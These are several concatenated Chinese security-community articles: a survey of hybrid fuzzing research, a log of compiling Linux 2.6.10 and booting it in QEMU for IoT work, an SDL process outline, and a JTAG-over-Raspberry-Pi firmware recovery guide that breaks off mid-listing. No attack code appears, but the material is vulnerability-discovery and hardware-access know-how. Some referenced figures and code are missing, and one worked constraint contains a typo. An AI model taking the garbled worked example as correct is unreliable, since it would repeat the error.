的速度够快，能够很快的探索输入空间从而满足条件，但是对于一些复杂的条件语句，fuzzing 需要探索的输入空间巨大，很难在有限的时间内探索到。
### Symbolic/Concolic Execution
symbolic execution
符号执行是程序分析技术的一种，通过采用抽象的符号来代替实际执行值，作为程序的输入变量，得到每个路径抽象的符号表达式，最后对符号表达式进行求解，得到一个具体的变量值，该具体值就可以执行该条路径。
这里提到的符号执行是静态的，并不是真实的执行，每分析到一个分支语句，需要构建 true 和 false
两条路径的表达式，故复杂的程序路径数量往往成指数倍的增长，导致路径爆炸 (path exploration) 的问题。
动态符号执行 (Dynamic symbolic execution) 是传统静态符号执行的一种变体，是同时使用符号值和具体值进行执行的一种方法，所以又称为
concolic execution，意为 concrete + symbolic (实际执行 + 符号执行)。concolic
执行会首先产生一些随机输入，用这些输入喂给程序运行，在运行过程中同时符号化的执行程序。因为采用的是具体的输入，所以执行该输入的时候，只会沿着这个输入的路径进行执行，在分支处对条件进行取反，求解得到该路径分支上另一条路径的解，生成新的测试输入，再将新的输入让程序执行，就会得到另一条没有被执行过的路径，如此循环，来完成对所有路径的探索。
所以实际上，concolic 执行采用的是深度优先的搜索策略，每次 concolic
执行会沿着某一个输入的路径，完整执行程序到结束，然后再对路径上没有测试的路径约束条件取反，得到新的输入，再将新输入给程序执行，进入新的路径。
符号执行技术无论是静态还是动态，相对于 fuzzing 来说，开销是很大的，但是其针对复杂的条件语句是非常有效的，能够求解很多仅仅依靠 fuzzing
随机变异策略无法满足的约束条件。
### Hybrid fuzzing
hybrid fuzzing 混合模糊测试，实际上就是将 fuzzing 和 concolic execution 结合起来，在 fuzzing 的同时，用
fuzzing 产生的输入给 concolic execution 执行。
由于 fuzzing 的高效，能够快速探索大部分的程序路径，生成大量的输入，当遇到复杂的约束条件时，可以求助于 concolic execution。
concolic execution 可以帮助 fuzzing 求解复杂的约束条件，而 fuzzing 可以为 concolic execution
快速探索程序路径。
#### Driller
hybrid fuzzing 的概念提出的很早，但2016年的 Driller 是最早将 hybrid fuzzing 应用实际的论文，Driller
本质上是将 AFL 和 angr 简单结合起来，当 AFL 停滞不前的时候，就切换 angr 进行求解，帮助 fuzzing 过复杂的约束。
#### QSYM
2018年 QSYM 被提出，文章中提到现有的 concolic execution engine 并不是为 hybrid fuzzing
定制的，存在很多性能上的瓶颈，QSYM进行很多优化：
(1) 首先，用动态二进制翻译 (Dynamic Binary Translation) 取代 IR (Inter
Representation)来执行，现有的符号执行引擎采用 IR 来执行处于工程上的考量，因为 IR 指令数量少，实现相对容易，但是将二进制程序指令转化为
IR 只能以基本块为单位，但是基本块中的指令并不是全部与输入有关，一些无关指令可以跳过，但是基于 IR 的符号执行无法进行指令级的优化。所以 QSYM 放弃
IR，转而使用DBT，对每条二进制指令进行动态插桩，进行符号执行。
(2) 放弃了符号执行中的快照机制，因为传统的符号执行需要在分支处进行分叉，分为 true 和 false
两个分支，故路径是成指数倍增长，为了避免多条路径重复执行的开销，引入了快照机制，将分支处的状态保存下来，以待后续继续执行。但在 hybrid fuzzing
的场景中，fuzzing 产生的输入完全是随机的，并不一定是有相同的前缀路径，快照对于 hyrbrid fuzzing 中的 concolic engine
来说没有什么用，所以直接放弃快照。
(3) 对求解的优化，有时候符号执行会遇到 over-constraint 问题，此时对收集的部分约束进行求解，即便它不完整，能够解决over-constraint的问题。
(4)
对基本块进行剪枝，记录下已经求解的分支，后续不再求解，并对基本块出现的次数进行检测，如果基本块重复出现多次，则进行剪枝，同时记录基本块出现的上下文，当上下文不同时则会保留，避免过度剪枝。
QSYM 的效果很好，且完全适配 AFL，缺点是只支持 X86 的部分指令。
## 问题
当然，hybrid fuzzing 也不是那么无敌，也存在很多问题：
(1) 由于 symbolic execution 自身的原因，执行起来很慢，开销很大。
(2) concolic execution 和 fuzzing 的结合，由于 fuzzing 产生输入的速度很快，concolic execution
不可能将这些seed全部执行一遍，所以需要对这些输入进行调度，换句话说，就是对 seed/path 进行排序，决定哪些输入应该先被执行。
(3) 当符号执行构建的约束过于复杂时，求解器也无法对这些约束求解。
(4) 在将hybrid fuzzing 应用到其他领域时，例如 OS kernel 上，需要解决特定的应用问题。
## 分类
本文提到的论文都是近年来，发表在安全类会议较为知名会议上的 hybrid fuzzing 相关论文。
按照采用的方法和应用做一个简单的分类：
Prioritization/scheduling
* Digfuzz (NDSS 2019)
* Savior (S&P 2020)
* MEUZZ (USENIX RAID 2020)
Improvement of constraint solving
* Intriguer (CCS 2019)
* PANGOLIN (S&P 2020)
Applying to OS kernel
* CAB-Fuzz (Usenix Security 2017)
* HFL (NDSS 2020)
## 论文解读
### DigFuzz
本文认为，现有的 hybrid fuzz 存在两种策略：
(1) 一种是 demand launch，即按照需要，在 fuzzing 过程停滞不前时，采用 concolic execution
帮助求解分支条件。这种方式比较笨拙，当 fuzzing 进行的过程中的时间被浪费了。
(2) 还有一种是 optimal switch，即对一条路径用 fuzzing 探索和用 concolic execution
进行探索的代价进行评估，用代价最小的方式。但是评估 concolic execution 的开销需要收集路径约束，这个代价本身就很大了。
所以本文提出一种 discriminative dispatch
的策略，用一种代价较小的方法评估每条路径的难度，按照探索难度对路径进行排序，将难度最大的路径留给 concolic execution 进行探索。
这里的难点在于，如何用一种轻量级的方法评估一条路径的探索难度，DigFuzz 提出基于蒙特卡洛的路径概率排序模型 (Monte Carlo Based
Probabilistic Path Prioritization Model, MCP3)，在 fuzzing 的过程中，用 seed 的 trace
构建执行路径树，用覆盖率计算每个分支的概率，路径的概率为路径上分支的概率相乘，最后基于路径的概率对路径进行排序，概率越小代表路径越难探索，将最难探索的路径优先给
concolic execution 进行探索。
### Savior
本文认为，现有的 coverage-guided hybrid fuzzing 忽略了对漏洞的检测问题：
(1) 存在漏洞的代码是少数，所以以coverage为导向引导不是最佳策略
(2) 即便能够到达存在漏洞的代码位置，很多漏洞因为没有满足特定的数据条件，也未必能触发漏洞。
Savior 认为应该以 bug 为导向，针对上述两个问题，Savior 采用两个方法来解决：
(1) bug-driven prioritization：采用静态分析得到每个分支可以到达的基本块数量，动态分析得到 seed
执行路径上未探索分支，综合可以得到这些未探索分支可以到达的基本块数量。利用 UBSan (Undefined Behavior Sanitizer)
在每个基本块上标记的数量来表示存在漏洞的可能性大小，综合上述 metric 用于对 seed 进行排序。
(2) bug-guided verification：提取执行路径上的 UBSan label，并对这些 label 中的 predicate
进行验证，即用 concolic execution 为这些 label 生成约束并求解，验证 label 中的 predicate 是否满足。
虽然 Savior 的 key idea 是 bug-driven hyrbrid fuzzing，实际上也是对 seed 做了一个排序，只是这个排序是基于
UBsan 和 trace 中到达基本块数量做的。
### MEUZZ
本文一作和 Savior 是同一人，所以思路也是相似的，也是对 seed 做一个排序调度，只不过本文是基于机器学习的方法做的。
本文认为，seed selection 在 hybrid fuzzing 中有很重要的作用，因为 fuzzing 速度远大于
concolic，由于时间和资源有限，concolic execution 只能执行部分的 seed，故需要对 seed 进行调度排序。
而现有的工作对 seed
的挑选都是基于一些启发式规则，这些规则并不能完全适用于所有程序。基于学习的方法是最适合于不同的程序的，可以根据程序的执行情况进行学习，从而调整 seed
selection 策略。
所以 MEUZZ 提出基于机器学习的方法来进行 seed selection。首先是对程序和 seed 进行特征提取，然后对 concolic engine
产生的每个 seed 构建一个后代树，记录在 fuzz 过程中，从该 seed 产生的后代 seed，将这棵树的大小，即 node 数量作为 seed 的
label，在 hybrid fuzzing 过程中不断更新模型，挑选 seed。
### Intriguer
#### 问题
本文认为，hybrid fuzzing 中还存在一些问题可以改进：
(1) 符号模拟非常慢
(2) 一些不必要的求解占据了大多数的时间
(3) 资源被过度分配
(4) 一些难触发的漏洞被忽略了
下面具体来说明一下这些问题：
##### 符号模拟执行慢
根据本文调研，发现程序中大部分的数据转移指令，例如 mov 一类的指令，在程序中占比很大，但是这些指令没有符号模拟的必要，因为只需要对 mov
指令的前后两条指令的数据的值进行比较，就可以知道数据的转移位置。
所以，如果可以避免这些 mov 类的指令执行，可以大大缩短符号模拟的时间。
##### 不必要的求解
程序中存在一些复杂的函数，例如 hash
函数，加密解密函数，压缩函数等等，这些函数操作非常复杂，涉及的输入很多，且容易产生无法求解的约束，减少对这些约束的求解，避免多数时间浪费在这些不必要的求解上。
##### 资源过度分配
concolic execution 相比 fuzzing，求解能力强很多，类似 magic byte
这样程序中常见的约束很容易解掉，但是本文认为，类似于`x == 0xdeadbeef`，以及`x > 0 ^ x <
1000`这样的约束，都不是真正复杂的约束，应该将 solver 用在真正复杂难解的约束上。
##### 难以触发的bug
这一点与 Savior 的说法一致，因为有些漏洞的触发需要控制流条件和数据条件同时满足才能触发，hyrbrid fuzzing
只能帮助到达代码位置，而数据条件的满足需要额外的操作。
#### Field-level constraint solving
所以本文提出了一种利用 field 信息，简化求解和执行的方法。利用 taint 追踪输入在程序中的数据流信息，包括数据对应在输入的 offset以及数据的
value。
以一个简单的C代码为例：
假设a来自于输入的{0x0, 0x1, 0x2, 0x3}，b来自输入的{0x4, 0x5, 0x6, 0x7}，最后需要对第5行的约束`a+c ==
0x12345678`进行求解。
将这段代码的汇编指令如下：
本文的方法则如下：
假设此时a=0x1111，b=0x2222，根据 taint，我们可以知道第1条`mov` 指令的操作数是b，值为0x2222，以及来自于输入的
offset是 {0x4, 0x5, 0x6, 0x7}，这时候无需对第一条 mov 指令进行符号模拟，直接执行第2条指令`add eax, 0x1`
此时我们知道 eax 中是变量 b，直接构建约束`b + 1`，并且知道结果为 0x2223，中间的 mov
指令即便不进行符号模拟，直接到第6条指令`add eax, edx`，此时根据 value 和 offset，我们可以直接构建约束 `(b+1)+a`。
最后在 cmp 指令处，对约束 `(b+1)+1 = 0x12345678`进行求解即可。
由此可以看出，中间的 mov 指令不需要符号模拟，不影响最后的约束构建和求解。
在执行过程中，会将指令的 field 和 value 都记录下来，针对同一个输入，构建出 field transition tree，针对这棵树来构建约束
为了求解效果最大化，根据树的节点深度进行划分，只有深度大于1的节点被认为是复杂约束，将 solver 仅用于复杂约束的求解。同时仿照 Savior
的做法，在一些算数指令上插入一些边界检查的约束，例如`F+100 > INT_MAX`、`F-100 < 0`等
### Pangolin
本文解决的是 hybrid fuzzing 中，计算冗余的问题。
一条路径可能会有多个分支，假设已经对该路径的第一个分支进行了求解，需要对下一个分支进行探索，此时，第一个分支的解信息其实可以帮助我们缩小后续分支的搜索空间，降低后续分支的求解难度。
以图为例，假设第3行的约束已经被求解，得到解空间为`x=3, y=4, 0<z<200`，这个信息可以在两个方面帮助我们探索第4行的分支：
1. 将 fuzzing 过程中，对Z的变异从整个正整数空间缩小到(0, 200)
2. 将 concolic execution 中，第4行分支的约束从`z*z<40000 ^ z>195`简化为`0<z<200 ^ z>195`
本文的 key idea 就是保留和重用路径上一个阶段的解空间，本文称为：多边形路径摘要 (polyhedral path
abstraction)，这些路径摘要是与目标路径约束相关的输入变量的边界范围。
首先需要推断出路径摘要，文章提出一种方法，可以将路径约束简化为一组线性不等式，这个不等式是近似但不完全等于路径约束，是包含的关系，保证不等式的范围完全覆盖路径约束的数据范围。
然后引导 fuzzing
变异，保证变异的范围在路径摘要的范围内，且满足均匀分布。同时能够加快求解的速度，主要是能快速验证约束是否可解，因为简化后的不等式组都是线性的，如果简化后的不等式组都不可解，说明真正的路径约束更加不可能求解，直接剪枝。
### CAB-Fuzz
本文是对闭源 OS 进行的一个 concolic execution 工作，其实不能算是 hybrid fuzzing。CAB-Fuzz
的取名意为Context-Aware and Boundary-focused。其次值得一提的是，本文的作者中有 QSYM 的作者Insu Yun。
对闭源 OS 进行符号执行，常见的挑战就是状态爆炸问题，而且对于闭源的 OS，缺少文档和配套的 test suites，很难构建一个合适 pre-context。
本文实际上是绕过了这两个问题：
(1)
因为状态太多，本文就集中于边界的值上，文章观察到，边界值是最容易出问题的地方，特别是循环的边界和数组的边界，所以在循环时取0次、1次、最大次的值进行符号执行，数组的值取最低地址和最高地址的值进行符号执行。
(2)至于如何构建context，文章直接采用 real world program 执行，在执行后自然构建 context 以后，再进行 on-the-fly concolic execution，绕过了这个问题。
### HFL
本文是对 Linux kernel 的一个 hybrid fuzzing 工具，面临的 challenge 主要是以下几点 kernel 特定的问题：
(1) 由 syscall 参数决定的间接控制流跳转
(2) syscall 决定的系统内部状态
(3) syscall 调用时需要推断嵌套参数类型
现有的 hybrid fuzzing 要么是没有解决这些问题，要么是用静态分析不准确的部分解决这些问题。
本文针对以上问题的解决方法如下：
(1) 在编译时将原有的间接控制流跳转转为直接的跳转，例如图
(2) 对 syscall 的调用顺序进行推断，首先进行静态的指针分析，收集所有对相同地址进行读写的指令对，作为 candidate
pair，然后在运行时对 candidate pair
进行进一步验证，符号执行时是否确实是对相同地址的读写。最后对这些指令操作的数据进行追踪，相关的函数就是存在调用顺序依赖的关系。
(3) 最后是识别嵌套的参数类型，具体是先对一些 transfer 函数进行监控，通过内存位置和内存 buffer 的长度来进行判断嵌套的参数类型。
## 参考文献
[1] [Driller: Augmenting Fuzzing Through Selective Symbolic
Execution](https://www.ndss-symposium.org/wp-content/uploads/2017/09/driller-augmenting-fuzzing-through-selective-symbolic-execution.pdf)
[2] [QSYM: A Practical Concolic Execution Engine Tailored for Hybrid
Fuzzing](https://www.usenix.org/system/files/conference/usenixsecurity18/sec18-yun.pdf)
[3] [Send Hardest Problems My Way: Probabilistic Path Prioritization for
Hybrid Fuzzing](https://www.ndss-symposium.org/wp-content/uploads/2019/02/ndss2019_04A-5_Zhao_paper.pdf)
[4] [SAVIOR: Towards Bug-Driven Hybrid
Testing](http://arxiv.org/abs/1906.07327)
[5] [MEUZZ: Smart Seed Scheduling for Hybrid
Fuzzing](https://www.usenix.org/system/files/raid20-chen.pdf)
[6] [Intriguer: Field-Level Constraint Solving for Hybrid
Fuzzing](https://dl.acm.org/doi/10.1145/3319535.3354249)
[7] [Pangolin: Incremental Hybrid Fuzzing with Polyhedral Path
Abstraction](https://www.researchgate.net/profile/Heqing-Huang-14/publication/343342810_Pangolin_Incremental_Hybrid_Fuzzing_with_Polyhedral_Path_Abstraction/links/61418d04ea4aa80011048dfd/Pangolin-Incremental-Hybrid-Fuzzing-with-Polyhedral-Path-Abstraction.pdf)
[8] [CAB-FUZZ: Practical Concolic Testing Techniques for COTS Operating
Systems](https://www.usenix.org/system/files/conference/atc17/atc17-kim.pdf)
[9] [HFL: Hybrid Fuzzing on the Linux Kernel](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24018.pdf) | 社区文章 |
# IoT安全基本功系列——内核的编译与qemu启动
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 搞IoT安全绕不开的知识
笔者想要完整的整理linux系统从内核的编译，文件系统的制作，bootloader引导内核启动，最终至一个块设备，字符设备，网卡驱动的编写。做这件事的目的是，笔者发现对于IoT设备的固件模拟，在开机时获取root
shell，以及驱动作为攻击面的漏洞挖掘等方面的工作，都绕不开这块内容。
## 为什么要写这个系列文章
本篇文章有可能是一个系列的开篇文章，市面上貌似对这块内容的文章资料总让我感觉是破碎不够系统的，而且实操性或者准确性上都有些问题，笔者虽能力有限，将尽力能够让新手读者看了本文就能够实践出来，本文也是笔者在实践过程中的实录，包括自己踩的坑，以及如何解决的这个的思路历程也记录了下来，所以本系列文章非常适合同学们实践参考。
## 系列文章的最终目的
本系列文章的最终目的是能够编写一个真正的驱动程序，而驱动程序的编写本文选择参考ldd3即 **linux设备驱动程序**
这本书，由于这本书的内核比较老，现在的内核都已经不再支持书上的例程，如果拿着书上的例程去在当前内核下做实验的话，会出现很多莫名的坑，为了降低学习曲线，但又把一些基本linux启动等流程说清楚，尝试就在ldd3指定的内核linux
2.6.10版本上搭建学习开发环境。
## 本文的目标
由于上述的内容一篇文章是很难讲完，本文先讲第一部分，qemu上运行自己编译的linux 2.6.10内核。其具体包括:
1.构建编译ldd linx 2.6.10内核的环境
2.编译内核，构建文件系统
3.qemu运行系统
### 1\. 构建编译ldd linx 2.6.10内核的环境
1.linx 2.6.10内核非常老，我建议使用ubuntu5.0的镜像 镜像地址：<http://old-releases.ubuntu.com/releases/5.04/>
2.ubuntu5.0也非常老，我直接使用vmware安装有问题，无法检测到cd-rom 使用老版本的支持workstation
选择workstation 5.x是可以安装的
3.后来字ubuntu5.0启动界面发现他使用的就是linux2.6.10
4.安装完毕
5.还需要安装gcc， gcc
deb文件<http://launchpadlibrarian.net/1299681/gcc-3.3_3.3.5-8ubuntu2_i386.deb> ，
使用dpkg -i安装这个deb文件，然后还需要在/usr/bin中创建 gcc的软链接，因为这个deb是一个gcc3.3命名的
### 2\. 编译内核，构建文件系统
1.找到linux2.6.10内核代码
链接内核代码：<https://mirrors.edge.kernel.org/pub/linux/kernel/v2.6/linux-2.6.10.tar.gz>,
其大小为43.7MB， 可以尝试使用ftp从host宿主机上下载代码，因为安装老版本的vmtools比较麻烦。
make的时候要用`make ARCH=i386
defconfig`，因为menuconfig需要nurses那个库，安装这个库挺麻烦的对于老版本，遂决定放弃好用的`menuconfig`，毕竟我们的目的是编译成功。
2.initramfs根文件系统
* 在挂载磁盘上的文件系统之前，需要先挂载一个initramfs文件系统，因为磁盘上的文件系统需要驱动，而驱动的加载也需要文件系统，这是一个鸡蛋问题，所以不能一开始就加载磁盘上的文件系统。 initramfs这个文件系统的加载不需要驱动，可以在这个文件系统里启动基本的挂载磁盘的驱动，initramfs是由bootload加载到内核中的。具体的，initramfs 就是一些文件的 cpio压缩包，由bootloader将其加载后供kernel使用，只要你往initramfs中添加的文件够多，那么你甚至不需要磁盘上的文件系统这就是为什么大家喜欢用busybox去创建initramfs，当加载driver的时候，喜欢把driver写入到initramfs中，所以以后再更新module的时候，不用重新编译内核，只需要编译一下module，然后把他放到内核中就行了。
3.使用busybox 构建initramfs根文件系统
同样的需要下载busybox的源码，我选择的是2004年的busybox-1.00.tar.bz2 ，并且需要在ubuntu5.0上编译，新版本的gcc都是不能用的。
需要注意的是在由于不能使用menuconfig，只能使用config，要注意在后面可以选择作为一个static 编译
然后正常编译 make
make install得到这个文件目录
### 3\. qemu运行系统
一开始参考的是这篇文章，<https://consen.github.io/2018/01/17/debug-linux-kernel-with-qemu-and-gdb/>
1.在搞这一块的遇到了很多问题，现在罗列
qemu是否是起到了bootloader的作用？
内核在和initrd 或者initramfs交互的时候是做了什么？
文件系统是如何被初始化的？
initrd和initramfs在本质上的区别？
真实设备的linux启动的流程是什么？
vmlinux与最终zimage的差别？
qemu运行一个vmlinux没有任何反应，不知道是不是我的vmlinux有问题，还是qemu不能启动vmlinux？
上面那个文档可以生成initramfs文件系统，但是却不能生成initrd， 这个busybox生成很少见
我用qemu启动的时候到底需要些什么？
dtb， dts 设备树又是啥？
ttys0是干啥的？
2.解决qemu运行vmlinux没有任何反应的问题
参考: <https://freemandealer.github.io/2015/10/04/debug-kernel-with-qemu-2/>
尝试用新的编译好的bzimage和vmlinux.bin,就在arch i386目录下的
结果新生成的bzimage和vmlinux 在qemu下运行同样的没有任何反应，运行的命令`qemu-system-i386 -kernel
./bzImage -nographic`
只有在运行bziamge的时候才会出现这个界面，而且还是要运行下面这命令 `qemu-system-i386 -kernel ./bzImage
-append "console=ttyS0"`
从这个截图可以看出,qemu貌似是使用了seabios这个bootloader去加载内核的
还是卡在启动内核上，从这个图看出内核貌似根本没有任何输出的，我想还是用一个别人编译的例子
后来找到一个帖子说之所出现内核太老不支持ramfs，并不是因为2.6太老，而是因为使用的是vmlinux作为内核启动的，而不是使用的bzimage
直接使用vmlinux作为内核在qemu中启动的结果就是下面这样的
所以问题还是出现在为什么我编译的固件就一直卡在boot kernel上面
找到了一个qemu启动linux 2.6.32的老帖子
<https://www.cnblogs.com/senix/archive/2013/02/21/2921221.html>
我决定按照他的构建initrd的方法再来一遍，以确定只有可能是内核编译的问题
按照这个文档的方法是可以的没有问题的，但是还是报出错误
显示`vfs unable to mount root fs on`
这串输出都是内核的代码输出，我在内核的源代码中搜到了这句话
后来发现之前编译的initramfs.cpio.gz也是可以启动内核的，只不过因为我加了一句console=ttyS0，导致看不到输出，我觉着实际上是由输出的，我觉着`console=ttyS0`的意思就是把显示放到了串口，导致在当前这个console是看不到的，显然在很多串口的地方就是把console给定位到了ttyS0，而由于我的qemu没有这个串口，所以应该就不需要设置这个玩意
目前看来还是这个文档最好用，我是通过搜linux 2.6和qemu关键词搜到的，虽然是很久之前的文章，但是真的还挺有用的，起码这个构建文件系统的是可以的
4.现在的问题是解决为何识别不了这个initrd或者叫做initramfs的东西
目前已经发现内核的启动是很随意的，不要文件系统什么东西的，直接 `qemu-system-i386 -kernel bzImage` 就可以启动
由上面这个无法识别root device ram可以知道，这个文件系统应该是没有起到效果，或者是dev没启动起来
有可能是编译内核的时候没有启用支持ramdisk，根据这篇链接[google 搜索cannot open root device
“ram”](https://www.yoctoproject.org/pipermail/yocto/2013-April/012949.html)
> The most obvious question is whether or not the kernel you built has
> ramdisk support
$ grep BLK_DEV_RAM .config
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_COUNT=16
CONFIG_BLK_DEV_RAM_SIZE=4096
我去看了一下发现我的linx 2.6.10版本并没有启用这个dev/ram这个设备，我的一开始并没有设置BLK_DEV_RAM，后来我才加上去了
重新编译发现需要的事件很短，看来是之前的已经编译好了，只需要编译新的东西就行了，这就是增量编译吧,重新放入新的bzimage试一下已经发现不再报ram的错误，但是开始报UDF-fs no partition found错误, 而且发现defconfig的UDF-FS也是已经配置的，禁用之后，还是报无法识别block的错误，确定就是没有成功加载提供的initrd文件系统,现在越来越觉着就是cpio这种形式的initrd，
内核是不支持的
> initRamFS is a (compressed) CPIO archive, InitRD is a (compressed)
> ext2/3/4/jfs/xfs/whatever filesystem
参考自<https://lists.nongnu.org/archive/html/qemu-devel/2013-10/msg01445.html>
5.尝试编译新的内核，完全参照老帖子
参考 <https://www.cnblogs.com/senix/archive/2013/02/21/2921221.html>
首先下载 linux-2.6.32.60.tar.bz2
[链接](http://ftp.jaist.ac.jp/pub/Linux/kernel.org/linux/kernel/v2.6/longterm/v2.6.32/)
用适配性高的内核启动我编译的各种文件系统，观察是否能起来
rootfs.img.gz这个是按照教程生成的gz格式的文件系统，是可以起来的
rootfs.img 这个是没有压缩的文件系统，也是可以起来的
initd.gz 和 initrd都没起来，这个是仿照
[https://www.cnblogs.com/shineshqw/articles/2336842.html，](https://www.cnblogs.com/shineshqw/articles/2336842.html%EF%BC%8C)
但是新内核的输出貌似是试了ext3 vfat msdos
iso9660这几种文件系统，但是都没有成功，而我制作的是ext2的，所以我觉着可以用ext3尝试一下
6.尝试各种创建initrd的办法
参照官方的老帖子，32.60版本的内核可以成功启动，loop device
<https://web.archive.org/web/20150402090928/https://www.kernel.org/doc/Documentation/initrd.txt>
7.最终解决了问题
发现是linux 2.6.10 缺少了对initrd的支持,并不是那个ram_dev设置就支持了,还有一个CONFIG_BLK_DEV_INITRD,
这个在i386defconfig默认配置中是根本没有的，需要自己手动加上
`CONFIG_BLK_DEV_INITRD=y`
## 结语
本文是笔者在尝试在qemu上运行linux 2.6.10版本内核的实录包括自己在时间时候遇到的各种问题，最终完整编译linux
2.6.10内核，并且通过很多尝试最终发现i386的默认配置是缺少initrd支持的问题的，虽然不是按部就班的给出最优解，但是详细的叙述解决过程，可能对大家更有参考性。 | 社区文章 |
基于SDL流程改动，融入到当前公司中即可
1.产品详评阶段，安全参与业务了解，以及业务安全分析，威胁建模。（也就是需求分析后的成品模型，对模型或工作流程进行详细评估）
2.产品编码阶段，需要白盒测试和黑盒测试（安全的黑白盒测试：白：代码审计
黑：从黑客角度尝试入侵），从上内测环境后，与功能测试同步做安全测试，Bug和安全漏洞
工期范围内同时修复，按理说，安全测试比功能测试会剩下很多时间，对于后续的功能迭代
3.内测环境安全漏洞修复没问题，到预发布环境再次验证，验证没问题，Go，几乎就不到生产环境去验证了。安全问题一般验证可能会影响生产环境，预发布验证玩，几乎就可以了
但是不排除那些高危漏洞。
基本流程大概就是：
详评----业务安全分析====>内测----安全黑白盒测试====>JIRA
Bug管理平台跟踪修复状态====>验证修复的漏洞====>预发布环境验证====>本期安全漏洞总结，找几个典型例子，提醒开发以后注意.
每个公司具体的发布流程不一样，总体框架差不多如此。适应当前公司的工作流程即可，不影响开发和功能测试人员正常的计划就行。 | 社区文章 |
**作者：Hcamael@知道创宇404实验室
时间：2019年10月21日**
最近在搞路由器的时候，不小心把CFE给刷挂了，然后发现能通过jtag进行救砖，所以就对jtag进行了一波研究。
最开始只是想救砖，并没有想深入研究的想法。
### 救砖尝试
变砖的路由器型号为：LinkSys wrt54g v8
CPU 型号为：BCM5354
Flash型号为：K8D6316UBM
首先通过jtagulator得到了设备上jtag接口的顺序。
正好公司有一个jlink，但是参试了一波失败，识别不了设备。
随后通过Google搜到发现了一个工具叫: [tjtag-pi](https://github.com/oxplot/tjtag-pi)
可以通树莓派来控制jtag，随后学习了一波树莓派的操作。
### 树莓派Pins
我使用的是rpi3，其接口编号图如下：
或者在树莓派3中可以使用`gpio readall`查看各个接口的状态：
rpi3中的Python有一个`RPi.GPIO`模块，可以控制这些接口。
举个例子：
>>> from RPi import GPIO
>>> GPIO.setmode(GPIO.BCM)
>>> GPIO.setup(2, GPIO.OUT)
>>> GPIO.setup(3, GPIO.IN)
首先是需要进行初始化GPIO的模式，BCM模式对应的针脚排序是上面图中橙色的部门。
然后可以对各个针脚进行单独设置，比如上图中，把2号针脚设置为输出，3号针脚设置为输入。
>>> GPIO.output(2, 1)
>>> GPIO.output(2, 0)
使用output函数进行二进制输出
>>> GPIO.input(3)
1
使用input函数获取针脚的输入。
我们可以用线把两个针脚连起来测试上面的代码。
将树莓派对应针脚和路由器的连起来以后，可以运行tjtag-pi程序。但是在运行的过程中却遇到了问题，经常会卡在写flash的时候。通过调整配置，有时是可以写成功的，但是CFE并没有被救回来，备份flash的数据，发现并没有成功写入数据。
因为使用轮子失败，所以我只能自己尝试研究和造轮子了。
### jtag
首先是针脚，我见过的设备给jtag一般是提供了5 * 2以上的引脚。其中有一般都是接地引脚，另一半只要知道4个最重要的引脚。
这四个引脚一般情况下的排序是：
TDI
TDO
TMS
TCK
TDI表示输入，TDO表示输出，TMS控制位，TCK时钟输入。
jtag大致架构如上图所示，其中TAP-Controller的架构如下图所示：
根据上面这两个架构，对jtag的原理进行讲解。
jtag的核心是TAP-Controller，通过解析TMS数据，来决定输入和输出的关系。所以我们先来看看TAP-Controller的架构。
从上面的图中我们可以发现，在任何状态下，输出5次1，都会回到`TEST LOGIC
RESET`状态下。所以在使用jtag前，我们先通过TMS端口，发送5次为1的数据，jtag的状态机将会进入到RESET的复原状态。
当TAP进入到`SHIFT-IR`的状态时，`Instruction Register`将会开始接收TDI传入的数据，当输入结束后，进入到`UPDATE-IR`状态时将会解析指令寄存器的值，随后决定输出什么数据。
`SHIFT-DR`则是控制数据寄存器，一般是在读写数据的时候需要使用。
讲到这里，就出现一个问题了，TMS就一个端口，jtag如何知道TMS每次输入的值是多少呢？这个时候就需要用到TCK端口了，该端口可以称为时钟指令。当TCK从低频变到高频时，获取一比特TMS/TDI输入，TDO输出1比特。
比如我们让TAP进行一次复位操作：
for x in range(5):
TCK 0
TMS 1
TCK 1
再比如，我们需要给指令寄存器传入0b10：
1.复位
2.进入RUN-TEST/IDLE状态
TCK 0
TMS 0
TCK 1
3.进入SELECT-DR-SCAN状态
TCK 0
TMS 1
TCK 1
4.进入SELECT-IR-SCAN状态
TCK 0
TMS 1
TCK 1
5.进入CAPTURE-IR状态
TCK 0
TMS 0
TCK 1
6.进入SHIFT-IR状态
TCK 0
TMS 0
TCK 1
7.输入0b10
TCK 0
TMS 0
TDI 0
TCK 1
TCK 0
TMS 1
TDI 1
TCK 0
随后就是进入`EXIT-IR -> UPDATE-IR`
根据上面的理论我们就可以通过写一个设置IR的函数：
def clock(tms, tdi):
tms = 1 if tms else 0
tdi = 1 if tdi else 0
GPIO.output(TCK, 0)
GPIO.output(TMS, tms)
GPIO.output(TDI, tdi)
GPIO.output(TCK, 1)
return GPIO.input(TDO)
def reset():
clock(1, 0)
clock(1, 0)
clock(1, 0)
clock(1, 0)
clock(1, 0)
clock(0, 0)
def set_instr(instr):
clock(1, 0)
clock(1, 0)
clock(0, 0)
clock(0, 0)
for i in range(INSTR_LENGTH):
clock(i==(INSTR_LENGTH - 1), (instr>>i)&1)
clock(1, 0)
clock(0, 0)
把上面的代码理解清楚后，基本就理解了TAP的逻辑。接下来就是指令的问题了，指令寄存器的长度是多少？指令寄存器的值为多少时是有意义的？
不同的CPU对于上面的答案都不一样，通过我在网上搜索的结果，每个CPU应该都有一个bsd(boundary scan
description)文件。本篇文章研究的CPU型号是`BCM5354`，但是我并没有在网上找到该型号CPU的bsd文件。我只能找了一个相同厂商不同型号的CPU的bsd文件进行参考。
[bcm53101m.bsd](/files/bcm53101m.bsd)
在该文件中我们能看到jtag端口在cpu端口的位置：
"tck : B46 , " &
"tdi : A57 , " &
"tdo : B47 , " &
"tms : A58 , " &
"trst_b : A59 , " &
attribute TAP_SCAN_RESET of trst_b : signal is true;
attribute TAP_SCAN_IN of tdi : signal is true;
attribute TAP_SCAN_MODE of tms : signal is true;
attribute TAP_SCAN_OUT of tdo : signal is true;
attribute TAP_SCAN_CLOCK of tck : signal is (2.5000000000000000000e+07, BOTH);
能找到指令长度的定义：
attribute INSTRUCTION_LENGTH of top: entity is 32;
能找到指令寄存器的有效值：
attribute INSTRUCTION_OPCODE of top: entity is
"IDCODE (11111111111111111111111111111110)," &
"BYPASS (00000000000000000000000000000000, 11111111111111111111111111111111)," &
"EXTEST (11111111111111111111111111101000)," &
"SAMPLE (11111111111111111111111111111000)," &
"PRELOAD (11111111111111111111111111111000)," &
"HIGHZ (11111111111111111111111111001111)," &
